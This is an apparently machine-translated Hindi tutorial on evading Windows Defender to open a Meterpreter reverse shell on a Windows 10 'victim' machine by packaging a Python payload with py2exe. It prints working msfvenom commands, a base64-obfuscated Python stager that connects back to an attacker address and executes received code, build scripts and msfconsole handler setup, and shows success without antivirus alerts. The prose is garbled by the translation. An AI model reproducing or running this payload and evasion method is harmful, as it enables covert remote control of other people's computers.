🏂🏽 🐃 🛌🏽 सस्ते और ख़ुशी के साथ विंडोज डिफेंडर के आसपास हो रहा है: अजगर के माध्यम से मीटरप्रेटर सत्र 🖐🏽 ♥️ 🧓🏾

सभी को नमस्कार। आज हम नवीनतम पैच (विंडोज डिफेंडर सहित) के साथ विंडोज 10 मशीन पर मीटरपरेटर सत्र चलाने के विकल्प पर विचार करेंगे। और हम एंटीवायरस को भी बायपास करेंगे। मीटरपरेटर एक उन्नत मल्टीफ़ंक्शनल फिलिंग (पेलोड, लोड) है, जिसे रनटाइम पर गतिशील रूप से विस्तारित किया जा सकता है। सामान्य परिस्थितियों में, यह आपको एक मूल शेल प्रदान करता है और आपको आवश्यकतानुसार इसमें नई सुविधाएँ जोड़ने की अनुमति देता है।
हम इसे पायथन का उपयोग करके करेंगे, और देखेंगे कि एंटीवायरस उपकरण कैसे व्यवहार करते हैं।

प्रश्न का उत्तर देते हुए, "क्या हमें पीड़ित मशीन पर पायथन की जरूरत है?

इस लेख में हम उपयोग करेंगे:

विंडोज 10 के साथ विंडोज डिफेंडर अपडेटेड डेटाबेस (पीड़ित कंप्यूटर 192.168.1.113) के साथ सक्षम;
मेटास्प्लोइट और एमएसफवेनॉम (192.168.1.126) का उपयोग करने के लिए काली लाइनक्स;
विंडोज 10 बाइनरी को असेंबल करने के लिए (हमारी प्रयोगशाला में यह पीड़ित के कंप्यूटर से मेल खाता है) स्थापित लोगों के साथ;
अजगर (3, लेकिन 2 के लिए भी हम देखेंगे);
py2.exe ।

शुरू करने के लिए, हम इस समस्या को रेखांकित करते हैं: एक मानक फ़ाइल के साथ एक exe फ़ाइल बनाएं, इसे पीड़ित की मशीन पर कॉपी करें और देखें कि यह किस ओर ले जाएगा।

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe

हमें अपने पुराने मित्र विंडोज डिफेंडर से एक चेतावनी मिलती है, जिसे हम सभी बहुत प्यार करते हैं।

अगर हम VirusTotal से पूछें, तो वह निम्नलिखित कहेगा:

चलो पायथन चलाते हैं और हम सभी के लिए एक साथ आते हैं।

पायथन / मीटरप्रेटर / रिवर्स_टीकैप एक अद्वितीय क्रॉस-प्लेटफॉर्म पेलोड मेटासाप्लोइट फ्रेमवर्क है जो आपको एक समझौता किए गए कंप्यूटर को दूरस्थ रूप से नियंत्रित करने की अनुमति देता है। यह सोचने की ज़रूरत नहीं है कि किस प्लेटफ़ॉर्म को चुनना है, यह किसी भी पर काम करेगा, लेकिन इस मामले में हम विंडोज से इसके लिए एक निष्पादन योग्य फ़ाइल बनाएंगे।

सबसे पहले, py2.exe पैकेज स्थापित करें, जो आपको पायथन स्क्रिप्ट से विंडोज को निष्पादन योग्य बनाने की अनुमति देता है।

हमारे पास यह पायथन 3.4 होगा (उपरोक्त सभी py2exe का समर्थन नहीं करता है)।

 py -3.4 –m pip install py2exe

या

 pip install py2exe

अगला, एक्सटेंशन .py के साथ एक कच्चा पायथन कोड बनाएं

 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py

Msfvenom के आउटपुट में भी हमें गेटपास आयात को जोड़ना होगा, जिसे वह स्वयं करना भूल जाता है। अंत में, इसे इस तरह बदलना चाहिए:

 import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

अब हम एक बाइनरी बनाने के लिए तैयार हैं।

 python34 -m py2exe.build_exe hunt.py --bundle-files 0

आपको निम्नलिखित मिलना चाहिए:

चलिए फिर से देखते हैं VirusTotal:

पहले से बेहतर है, अब इसे कार्रवाई में देखें - पीड़ित की मशीन पर प्रतिलिपि करने के बाद, हम बिना अलर्ट के काम करेंगे।

समानांतर में, क्रम में निम्नलिखित कमांड चलाकर अजगर के लिए हमारे msf और हैंडलर को चलाएं:

 msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run

चलो आगे बढ़ते हैं और सुनिश्चित करते हैं कि सत्र सही ढंग से काम कर रहा है।

इस प्रकार, सत्र शुरू हो गया है और विंडोज डिफेंडर ने काम नहीं किया, जो कि हम लक्ष्य कर रहे थे।

उसी समय, आइए देखें कि यदि आपके पास पायथन 2 संस्करण है तो क्या करें।

अजगर 2 के लिए py2.exe डाउनलोड करें
.Py विस्तार के साथ पेलोड उत्पन्न करें

हम setup.py फ़ाइल बनाते हैं और निम्नलिखित लिखते हैं:

 from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, )

```
 python.exe .\setup.py py2exe 
```

सब कुछ एक जैसा होना चाहिए।

नतीजतन, मैं ध्यान देता हूं कि पायथन मीटरपरेटर शेल अधिक परिचित खिड़कियों के मीटरपरेटर की कार्यक्षमता में हीन है। उदाहरण के लिए, आप प्रक्रिया को प्राप्त करने में सक्षम नहीं हो सकते हैं या getystem जैसे आदेशों का उपयोग कर सकते हैं, लेकिन फिर भी यह एक वास्तविक विकल्प है: msf (कम से कम रूटिंग और पोर्टफ़ीड) के साथ काम करने के लिए एक सत्र प्राप्त करें और नेटवर्क के अंदर काम करना जारी रखें।

सस्ते और ख़ुशी के साथ विंडोज डिफेंडर के आसपास हो रहा है: अजगर के माध्यम से मीटरप्रेटर सत्र

More articles: